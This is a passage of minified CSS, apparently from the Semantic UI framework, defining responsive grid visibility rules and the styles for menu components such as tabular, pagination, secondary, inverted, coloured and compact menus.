screen and (min-width:768px) and (max-width:991px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="mobile only"].column:not(.tablet),.ui.grid.grid.grid>[class*="mobile only"].row:not(.tablet),.ui[class*="mobile only"].grid.grid.grid:not(.tablet){display:none!important}.ui.grid.grid.grid>.row>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].column:not(.tablet),.ui.grid.grid.grid>[class*="computer only"].row:not(.tablet),.ui[class*="computer only"].grid.grid.grid:not(.tablet){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:992px) and (max-width:1199px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="large screen only"].row:not(.mobile),.ui[class*="large screen only"].grid.grid.grid:not(.mobile){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:1200px) and (max-width:1919px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].column:not(.mobile),.ui.grid.grid.grid>[class*="widescreen only"].row:not(.mobile),.ui[class*="widescreen only"].grid.grid.grid:not(.mobile){display:none!important}}@media only screen and (min-width:1920px){.ui.grid.grid.grid>.row>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].column:not(.computer),.ui.grid.grid.grid>[class*="mobile only"].row:not(.computer),.ui[class*="mobile only"].grid.grid.grid:not(.computer){display:none!important}.ui.grid.grid.grid>.row>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].column:not(.computer),.ui.grid.grid.grid>[class*="tablet only"].row:not(.computer),.ui[class*="tablet only"].grid.grid.grid:not(.computer){display:none!important}}.ui.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin:1rem 0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;background:#fff;font-weight:400;border:1px solid rgba(34,36,38,.15);-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15);border-radius:.28571429rem;min-height:2.85714286em}.ui.menu:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.menu:first-child{margin-top:0}.ui.menu:last-child{margin-bottom:0}.ui.menu .menu{margin:0}.ui.menu:not(.vertical)>.menu{display:-webkit-box;display:-ms-flexbox;display:flex}.ui.menu:not(.vertical) .item{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.ui.menu .item{position:relative;vertical-align:middle;line-height:1;text-decoration:none;-webkit-tap-highlight-color:transparent;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background:0 0;padding:.92857143em 1.14285714em;text-transform:none;color:rgba(0,0,0,.87);font-weight:400;-webkit-transition:background .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background .1s ease,color .1s ease,-webkit-box-shadow .1s ease;transition:background .1s ease,box-shadow .1s ease,color .1s ease;transition:background .1s ease,box-shadow .1s ease,color .1s ease,-webkit-box-shadow .1s ease}.ui.menu>.item:first-child{border-radius:.28571429rem 0 0 .28571429rem}.ui.menu .item:before{position:absolute;content:'';top:0;right:0;height:100%;width:1px;background:rgba(34,36,38,.1)}.ui.menu .item>a:not(.ui),.ui.menu .item>p:only-child,.ui.menu .text.item>*{-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;line-height:1.3}.ui.menu .item>p:first-child{margin-top:0}.ui.menu .item>p:last-child{margin-bottom:0}.ui.menu .item>i.icon{opacity:.9;float:none;margin:0 .35714286em 0 0}.ui.menu:not(.vertical) .item>.button{position:relative;top:0;margin:-.5em 0;padding-bottom:.78571429em;padding-top:.78571429em;font-size:1em}.ui.menu>.container,.ui.menu>.grid{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:inherit;-ms-flex-align:inherit;align-items:inherit;-webkit-box-orient:inherit;-webkit-box-direction:inherit;-ms-flex-direction:inherit;flex-direction:inherit}.ui.menu .item>.input{width:100%}.ui.menu:not(.vertical) .item>.input{position:relative;top:0;margin:-.5em 0}.ui.menu .item>.input input{font-size:1em;padding-top:.57142857em;padding-bottom:.57142857em}.ui.menu .header.item,.ui.vertical.menu .header.item{margin:0;background:'';text-transform:normal;font-weight:700}.ui.vertical.menu .item>.header:not(.ui){margin:0 0 .5em;font-size:1em;font-weight:700}.ui.menu .item>i.dropdown.icon{padding:0;float:right;margin:0 0 0 1em}.ui.menu .dropdown.item .menu{min-width:calc(100% - 1px);border-radius:0 0 .28571429rem .28571429rem;background:#fff;margin:0 0 0;-webkit-box-shadow:0 1px 3px 0 rgba(0,0,0,.08);box-shadow:0 1px 3px 0 rgba(0,0,0,.08);-webkit-box-orient:vertical!important;-webkit-box-direction:normal!important;-ms-flex-direction:column!important;flex-direction:column!important}.ui.menu .ui.dropdown .menu>.item{margin:0;text-align:left;font-size:1em!important;padding:.78571429em 1.14285714em!important;background:0 0!important;color:rgba(0,0,0,.87)!important;text-transform:none!important;font-weight:400!important;-webkit-box-shadow:none!important;box-shadow:none!important;-webkit-transition:none!important;transition:none!important}.ui.menu .ui.dropdown .menu>.item:hover{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown .menu>.selected.item{background:rgba(0,0,0,.05)!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown .menu>.active.item{background:rgba(0,0,0,.03)!important;font-weight:700!important;color:rgba(0,0,0,.95)!important}.ui.menu .ui.dropdown.item .menu .item:not(.filtered){display:block}.ui.menu .ui.dropdown .menu>.item .icon:not(.dropdown){display:inline-block;font-size:1em!important;float:none;margin:0 .75em 0 0!important}.ui.secondary.menu .dropdown.item>.menu,.ui.text.menu .dropdown.item>.menu{border-radius:.28571429rem;margin-top:.35714286em}.ui.menu .pointing.dropdown.item .menu{margin-top:.75em}.ui.inverted.menu .search.dropdown.item>.search,.ui.inverted.menu .search.dropdown.item>.text{color:rgba(255,255,255,.9)}.ui.vertical.menu .dropdown.item>.icon{float:right;content:"\f0da";margin-left:1em}.ui.vertical.menu .dropdown.item .menu{left:100%;min-width:0;margin:0;-webkit-box-shadow:0 1px 3px 0 rgba(0,0,0,.08);box-shadow:0 1px 3px 0 rgba(0,0,0,.08);border-radius:0 .28571429rem .28571429rem .28571429rem}.ui.vertical.menu .dropdown.item.upward .menu{bottom:0}.ui.vertical.menu .dropdown.item:not(.upward) .menu{top:0}.ui.vertical.menu .active.dropdown.item{border-top-right-radius:0;border-bottom-right-radius:0}.ui.vertical.menu .dropdown.active.item{-webkit-box-shadow:none;box-shadow:none}.ui.item.menu .dropdown .menu .item{width:100%}.ui.menu .item>.label{background:#999;color:#fff;margin-left:1em;padding:.3em .78571429em}.ui.vertical.menu .item>.label{background:#999;color:#fff;margin-top:-.15em;margin-bottom:-.15em;padding:.3em .78571429em}.ui.menu .item>.floating.label{padding:.3em .78571429em}.ui.menu .item>img:not(.ui){display:inline-block;vertical-align:middle;margin:-.3em 0;width:2.5em}.ui.vertical.menu .item>img:not(.ui):only-child{display:block;max-width:100%;width:auto}.ui.menu .list .item:before{background:0 0!important}.ui.vertical.sidebar.menu>.item:first-child:before{display:block!important}.ui.vertical.sidebar.menu>.item::before{top:auto;bottom:0}@media only screen and (max-width:767px){.ui.menu>.ui.container{width:100%!important;margin-left:0!important;margin-right:0!important}}@media only screen and (min-width:768px){.ui.menu:not(.secondary):not(.text):not(.tabular):not(.borderless)>.container>.item:not(.right):not(.borderless):first-child{border-left:1px solid rgba(34,36,38,.1)}}.ui.link.menu .item:hover,.ui.menu .dropdown.item:hover,.ui.menu .link.item:hover,.ui.menu a.item:hover{cursor:pointer;background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.link.menu .item:active,.ui.menu .link.item:active,.ui.menu a.item:active{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.menu .active.item{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);font-weight:400;-webkit-box-shadow:none;box-shadow:none}.ui.menu .active.item>i.icon{opacity:1}.ui.menu .active.item:hover,.ui.vertical.menu .active.item:hover{background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.menu .item.disabled,.ui.menu .item.disabled:hover{cursor:default!important;background-color:transparent!important;color:rgba(40,40,40,.3)!important}.ui.menu:not(.vertical) .left.item,.ui.menu:not(.vertical) :not(.dropdown)>.left.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin-right:auto!important}.ui.menu:not(.vertical) .right.item,.ui.menu:not(.vertical) .right.menu{display:-webkit-box;display:-ms-flexbox;display:flex;margin-left:auto!important}.ui.menu .right.item::before,.ui.menu .right.menu>.item::before{right:auto;left:0}.ui.vertical.menu{display:block;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;background:#fff;-webkit-box-shadow:0 1px 2px 0 rgba(34,36,38,.15);box-shadow:0 1px 2px 0 rgba(34,36,38,.15)}.ui.vertical.menu .item{display:block;background:0 0;border-top:none;border-right:none}.ui.vertical.menu>.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu .item>.label{float:right;text-align:center}.ui.vertical.menu .item>i.icon{width:1.18em;float:right;margin:0 0 0 .5em}.ui.vertical.menu .item>.label+i.icon{float:none;margin:0 .5em 0 0}.ui.vertical.menu .item:before{position:absolute;content:'';top:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.vertical.menu .item:first-child:before{display:none!important}.ui.vertical.menu .item>.menu{margin:.5em -1.14285714em 0}.ui.vertical.menu .menu .item{background:0 0;padding:.5em 1.33333333em;font-size:.85714286em;color:rgba(0,0,0,.5)}.ui.vertical.menu .item .menu .link.item:hover,.ui.vertical.menu .item .menu a.item:hover{color:rgba(0,0,0,.85)}.ui.vertical.menu .menu .item:before{display:none}.ui.vertical.menu .active.item{background:rgba(0,0,0,.05);border-radius:0;-webkit-box-shadow:none;box-shadow:none}.ui.vertical.menu>.active.item:first-child{border-radius:.28571429rem .28571429rem 0 0}.ui.vertical.menu>.active.item:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.vertical.menu>.active.item:only-child{border-radius:.28571429rem}.ui.vertical.menu .active.item .menu .active.item{border-left:none}.ui.vertical.menu .item .menu .active.item{background-color:transparent;font-weight:700;color:rgba(0,0,0,.95)}.ui.tabular.menu{border-radius:0;-webkit-box-shadow:none!important;box-shadow:none!important;border:none;background:none transparent;border-bottom:1px solid #d4d4d5}.ui.tabular.fluid.menu{width:calc(100% + 2px)!important}.ui.tabular.menu .item{background:0 0;border-bottom:none;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;padding:.92857143em 1.42857143em;color:rgba(0,0,0,.87)}.ui.tabular.menu .item:before{display:none}.ui.tabular.menu .item:hover{background-color:transparent;color:rgba(0,0,0,.8)}.ui.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-top-width:1px;border-color:#d4d4d5;font-weight:700;margin-bottom:-1px;-webkit-box-shadow:none;box-shadow:none;border-radius:.28571429rem .28571429rem 0 0!important}.ui.tabular.menu+.attached:not(.top).segment,.ui.tabular.menu+.attached:not(.top).segment+.attached:not(.top).segment{border-top:none;margin-left:0;margin-top:0;margin-right:0;width:100%}.top.attached.segment+.ui.bottom.tabular.menu{position:relative;width:calc(100% + 2px);left:-1px}.ui.bottom.tabular.menu{background:none transparent;border-radius:0;-webkit-box-shadow:none!important;box-shadow:none!important;border-bottom:none;border-top:1px solid #d4d4d5}.ui.bottom.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:none}.ui.bottom.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:-1px 0 0 0;border-radius:0 0 .28571429rem .28571429rem!important}.ui.vertical.tabular.menu{background:none transparent;border-radius:0;-webkit-box-shadow:none!important;box-shadow:none!important;border-bottom:none;border-right:1px solid #d4d4d5}.ui.vertical.tabular.menu .item{background:0 0;border-left:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-right:none}.ui.vertical.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:0 -1px 0 0;border-radius:.28571429rem 0 0 .28571429rem!important}.ui.vertical.right.tabular.menu{background:none transparent;border-radius:0;-webkit-box-shadow:none!important;box-shadow:none!important;border-bottom:none;border-right:none;border-left:1px solid #d4d4d5}.ui.vertical.right.tabular.menu .item{background:0 0;border-right:1px solid transparent;border-bottom:1px solid transparent;border-top:1px solid transparent;border-left:none}.ui.vertical.right.tabular.menu .active.item{background:none #fff;color:rgba(0,0,0,.95);border-color:#d4d4d5;margin:0 0 0 -1px;border-radius:0 .28571429rem .28571429rem 0!important}.ui.tabular.menu .active.dropdown.item{margin-bottom:0;border-left:1px solid transparent;border-right:1px solid transparent;border-top:2px solid transparent;border-bottom:none}.ui.pagination.menu{margin:0;display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.ui.pagination.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.compact.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.pagination.menu .item:last-child:before{display:none}.ui.pagination.menu .item{min-width:3em;text-align:center}.ui.pagination.menu .icon.item i.icon{vertical-align:top}.ui.pagination.menu .active.item{border-top:none;padding-top:.92857143em;background-color:rgba(0,0,0,.05);color:rgba(0,0,0,.95);-webkit-box-shadow:none;box-shadow:none}.ui.secondary.menu{background:0 0;margin-left:-.35714286em;margin-right:-.35714286em;border-radius:0;border:none;-webkit-box-shadow:none;box-shadow:none}.ui.secondary.menu .item{-ms-flex-item-align:center;align-self:center;-webkit-box-shadow:none;box-shadow:none;border:none;padding:.78571429em .92857143em;margin:0 .35714286em;background:0 0;-webkit-transition:color .1s ease;transition:color .1s ease;border-radius:.28571429rem}.ui.secondary.menu .item:before{display:none!important}.ui.secondary.menu .header.item{border-radius:0;border-right:none;background:none transparent}.ui.secondary.menu .item>img:not(.ui){margin:0}.ui.secondary.menu .dropdown.item:hover,.ui.secondary.menu .link.item:hover,.ui.secondary.menu a.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.menu .active.item{-webkit-box-shadow:none;box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);border-radius:.28571429rem}.ui.secondary.menu .active.item:hover{-webkit-box-shadow:none;box-shadow:none;background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.secondary.inverted.menu .link.item,.ui.secondary.inverted.menu a.item{color:rgba(255,255,255,.7)!important}.ui.secondary.inverted.menu .dropdown.item:hover,.ui.secondary.inverted.menu .link.item:hover,.ui.secondary.inverted.menu a.item:hover{background:rgba(255,255,255,.08);color:#fff!important}.ui.secondary.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.secondary.item.menu{margin-left:0;margin-right:0}.ui.secondary.item.menu .item:last-child{margin-right:0}.ui.secondary.attached.menu{-webkit-box-shadow:none;box-shadow:none}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu{margin:0 -.92857143em}.ui.vertical.secondary.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 1.33333333em}.ui.secondary.vertical.menu>.item{border:none;margin:0 0 .35714286em;border-radius:.28571429rem!important}.ui.secondary.vertical.menu>.header.item{border-radius:0}.ui.vertical.secondary.menu .item>.menu .item{background-color:transparent}.ui.secondary.inverted.menu{background-color:transparent}.ui.secondary.pointing.menu{margin-left:0;margin-right:0;border-bottom:2px solid rgba(34,36,38,.15)}.ui.secondary.pointing.menu .item{border-bottom-color:transparent;border-bottom-style:solid;border-radius:0;-ms-flex-item-align:end;align-self:flex-end;margin:0 0 -2px;padding:.85714286em 1.14285714em;border-bottom-width:2px;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.secondary.pointing.menu .header.item{color:rgba(0,0,0,.85)!important}.ui.secondary.pointing.menu .text.item{-webkit-box-shadow:none!important;box-shadow:none!important}.ui.secondary.pointing.menu .item:after{display:none}.ui.secondary.pointing.menu .dropdown.item:hover,.ui.secondary.pointing.menu .link.item:hover,.ui.secondary.pointing.menu a.item:hover{background-color:transparent;color:rgba(0,0,0,.87)}.ui.secondary.pointing.menu .dropdown.item:active,.ui.secondary.pointing.menu .link.item:active,.ui.secondary.pointing.menu a.item:active{background-color:transparent;border-color:rgba(34,36,38,.15)}.ui.secondary.pointing.menu .active.item{background-color:transparent;-webkit-box-shadow:none;box-shadow:none;border-color:#1b1c1d;font-weight:700;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.item:hover{border-color:#1b1c1d;color:rgba(0,0,0,.95)}.ui.secondary.pointing.menu .active.dropdown.item{border-color:transparent}.ui.secondary.vertical.pointing.menu{border-bottom-width:0;border-right-width:2px;border-right-style:solid;border-right-color:rgba(34,36,38,.15)}.ui.secondary.vertical.pointing.menu .item{border-bottom:none;border-right-style:solid;border-right-color:transparent;border-radius:0!important;margin:0 -2px 0 0;border-right-width:2px}.ui.secondary.vertical.pointing.menu .active.item{border-color:#1b1c1d}.ui.secondary.inverted.pointing.menu{border-color:rgba(255,255,255,.1)}.ui.secondary.inverted.pointing.menu{border-width:2px;border-color:rgba(34,36,38,.15)}.ui.secondary.inverted.pointing.menu .item{color:rgba(255,255,255,.9)}.ui.secondary.inverted.pointing.menu .header.item{color:#fff!important}.ui.secondary.inverted.pointing.menu .link.item:hover,.ui.secondary.inverted.pointing.menu a.item:hover{color:rgba(0,0,0,.95)}.ui.secondary.inverted.pointing.menu .active.item{border-color:#fff;color:#fff}.ui.text.menu{background:none transparent;border-radius:0;-webkit-box-shadow:none;box-shadow:none;border:none;margin:1em -.5em}.ui.text.menu .item{border-radius:0;-webkit-box-shadow:none;box-shadow:none;-ms-flex-item-align:center;align-self:center;margin:0 0;padding:.35714286em .5em;font-weight:400;color:rgba(0,0,0,.6);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.text.menu .item:before,.ui.text.menu .menu .item:before{display:none!important}.ui.text.menu .header.item{background-color:transparent;opacity:1;color:rgba(0,0,0,.85);font-size:.92857143em;text-transform:uppercase;font-weight:700}.ui.text.menu .item>img:not(.ui){margin:0}.ui.text.item.menu .item{margin:0}.ui.vertical.text.menu{margin:1em 0}.ui.vertical.text.menu:first-child{margin-top:0}.ui.vertical.text.menu:last-child{margin-bottom:0}.ui.vertical.text.menu .item{margin:.57142857em 0;padding-left:0;padding-right:0}.ui.vertical.text.menu .item>i.icon{float:none;margin:0 .35714286em 0 0}.ui.vertical.text.menu .header.item{margin:.57142857em 0 .71428571em}.ui.vertical.text.menu .item:not(.dropdown)>.menu{margin:0}.ui.vertical.text.menu .item:not(.dropdown)>.menu>.item{margin:0;padding:.5em 0}.ui.text.menu .item:hover{opacity:1;background-color:transparent}.ui.text.menu .active.item{background-color:transparent;border:none;-webkit-box-shadow:none;box-shadow:none;font-weight:400;color:rgba(0,0,0,.95)}.ui.text.menu .active.item:hover{background-color:transparent}.ui.text.pointing.menu .active.item:after{-webkit-box-shadow:none;box-shadow:none}.ui.text.attached.menu{-webkit-box-shadow:none;box-shadow:none}.ui.inverted.text.menu,.ui.inverted.text.menu .active.item,.ui.inverted.text.menu .item,.ui.inverted.text.menu .item:hover{background-color:transparent!important}.ui.fluid.text.menu{margin-left:0;margin-right:0}.ui.vertical.icon.menu{display:inline-block;width:auto}.ui.icon.menu .item{height:auto;text-align:center;color:#1b1c1d}.ui.icon.menu .item>.icon:not(.dropdown){margin:0;opacity:1}.ui.icon.menu .icon:before{opacity:1}.ui.menu .icon.item>.icon{width:auto;margin:0 auto}.ui.vertical.icon.menu .item>.icon:not(.dropdown){display:block;opacity:1;margin:0 auto;float:none}.ui.inverted.icon.menu .item{color:#fff}.ui.labeled.icon.menu{text-align:center}.ui.labeled.icon.menu .item{min-width:6em;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.labeled.icon.menu .item>.icon:not(.dropdown){height:1em;display:block;font-size:1.71428571em!important;margin:0 auto .5rem!important}.ui.fluid.labeled.icon.menu>.item{min-width:0}@media only screen and (max-width:767px){.ui.stackable.menu{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.stackable.menu .item{width:100%!important}.ui.stackable.menu .item:before{position:absolute;content:'';top:auto;bottom:0;left:0;width:100%;height:1px;background:rgba(34,36,38,.1)}.ui.stackable.menu .left.item,.ui.stackable.menu .left.menu{margin-right:0!important}.ui.stackable.menu .right.item,.ui.stackable.menu .right.menu{margin-left:0!important}.ui.stackable.menu .left.menu,.ui.stackable.menu .right.menu{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}}.ui.menu .red.active.item,.ui.red.menu .active.item{border-color:#db2828!important;color:#db2828!important}.ui.menu .orange.active.item,.ui.orange.menu .active.item{border-color:#f2711c!important;color:#f2711c!important}.ui.menu .yellow.active.item,.ui.yellow.menu .active.item{border-color:#fbbd08!important;color:#fbbd08!important}.ui.menu .olive.active.item,.ui.olive.menu .active.item{border-color:#b5cc18!important;color:#b5cc18!important}.ui.green.menu .active.item,.ui.menu .green.active.item{border-color:#21ba45!important;color:#21ba45!important}.ui.menu .teal.active.item,.ui.teal.menu .active.item{border-color:#00b5ad!important;color:#00b5ad!important}.ui.blue.menu .active.item,.ui.menu .blue.active.item{border-color:#2185d0!important;color:#2185d0!important}.ui.menu .violet.active.item,.ui.violet.menu .active.item{border-color:#6435c9!important;color:#6435c9!important}.ui.menu .purple.active.item,.ui.purple.menu .active.item{border-color:#a333c8!important;color:#a333c8!important}.ui.menu .pink.active.item,.ui.pink.menu .active.item{border-color:#e03997!important;color:#e03997!important}.ui.brown.menu .active.item,.ui.menu .brown.active.item{border-color:#a5673f!important;color:#a5673f!important}.ui.grey.menu .active.item,.ui.menu .grey.active.item{border-color:#767676!important;color:#767676!important}.ui.inverted.menu{border:0 solid transparent;background:#1b1c1d;-webkit-box-shadow:none;box-shadow:none}.ui.inverted.menu .item,.ui.inverted.menu .item>a:not(.ui){background:0 0;color:rgba(255,255,255,.9)}.ui.inverted.menu .item.menu{background:0 0}.ui.inverted.menu .item:before{background:rgba(255,255,255,.08)}.ui.vertical.inverted.menu .item:before{background:rgba(255,255,255,.08)}.ui.vertical.inverted.menu .menu .item,.ui.vertical.inverted.menu .menu .item a:not(.ui){color:rgba(255,255,255,.5)}.ui.inverted.menu .header.item{margin:0;background:0 0;-webkit-box-shadow:none;box-shadow:none}.ui.inverted.menu .item.disabled,.ui.inverted.menu .item.disabled:hover{color:rgba(225,225,225,.3)}.ui.inverted.menu .dropdown.item:hover,.ui.inverted.menu .link.item:hover,.ui.inverted.menu a.item:hover,.ui.link.inverted.menu .item:hover{background:rgba(255,255,255,.08);color:#fff}.ui.vertical.inverted.menu .item .menu .link.item:hover,.ui.vertical.inverted.menu .item .menu a.item:hover{background:0 0;color:#fff}.ui.inverted.menu .link.item:active,.ui.inverted.menu a.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.inverted.menu .active.item{background:rgba(255,255,255,.15);color:#fff!important}.ui.inverted.vertical.menu .item .menu .active.item{background:0 0;color:#fff}.ui.inverted.pointing.menu .active.item:after{background:#3d3e3f!important;margin:0!important;-webkit-box-shadow:none!important;box-shadow:none!important;border:none!important}.ui.inverted.menu .active.item:hover{background:rgba(255,255,255,.15);color:#fff!important}.ui.inverted.pointing.menu .active.item:hover:after{background:#3d3e3f!important}.ui.floated.menu{float:left;margin:0 .5rem 0 0}.ui.floated.menu .item:last-child:before{display:none}.ui.right.floated.menu{float:right;margin:0 0 0 .5rem}.ui.inverted.menu .red.active.item,.ui.inverted.red.menu{background-color:#db2828}.ui.inverted.red.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.red.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .orange.active.item,.ui.inverted.orange.menu{background-color:#f2711c}.ui.inverted.orange.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.orange.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .yellow.active.item,.ui.inverted.yellow.menu{background-color:#fbbd08}.ui.inverted.yellow.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.yellow.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .olive.active.item,.ui.inverted.olive.menu{background-color:#b5cc18}.ui.inverted.olive.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.olive.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.green.menu,.ui.inverted.menu .green.active.item{background-color:#21ba45}.ui.inverted.green.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.green.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .teal.active.item,.ui.inverted.teal.menu{background-color:#00b5ad}.ui.inverted.teal.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.teal.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.blue.menu,.ui.inverted.menu .blue.active.item{background-color:#2185d0}.ui.inverted.blue.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.blue.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .violet.active.item,.ui.inverted.violet.menu{background-color:#6435c9}.ui.inverted.violet.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.violet.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .purple.active.item,.ui.inverted.purple.menu{background-color:#a333c8}.ui.inverted.purple.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.purple.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.menu .pink.active.item,.ui.inverted.pink.menu{background-color:#e03997}.ui.inverted.pink.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.pink.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.brown.menu,.ui.inverted.menu .brown.active.item{background-color:#a5673f}.ui.inverted.brown.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.brown.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.inverted.grey.menu,.ui.inverted.menu .grey.active.item{background-color:#767676}.ui.inverted.grey.menu .item:before{background-color:rgba(34,36,38,.1)}.ui.inverted.grey.menu .active.item{background-color:rgba(0,0,0,.1)!important}.ui.fitted.menu .item,.ui.fitted.menu .item .menu .item,.ui.menu .fitted.item{padding:0}.ui.horizontally.fitted.menu .item,.ui.horizontally.fitted.menu .item .menu .item,.ui.menu .horizontally.fitted.item{padding-top:.92857143em;padding-bottom:.92857143em}.ui.menu .vertically.fitted.item,.ui.vertically.fitted.menu .item,.ui.vertically.fitted.menu .item .menu .item{padding-left:1.14285714em;padding-right:1.14285714em}.ui.borderless.menu .item .menu .item:before,.ui.borderless.menu .item:before,.ui.menu .borderless.item:before{background:0 0!important}.ui.compact.menu{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;margin:0;vertical-align:middle}.ui.compact.vertical.menu{display:inline-block}.ui.compact.menu .item:last-child{border-radius:0 .28571429rem .28571429rem 0}.ui.compact.menu .item:last-child:before{display:none}.ui.compact.vertical.menu{width:auto!important}.ui.compact.vertical.menu .item:last-child::before{display:block}.ui.menu.fluid,.ui.vertical.menu.fluid{width:100%!important}.ui.item.menu,.ui.item.menu 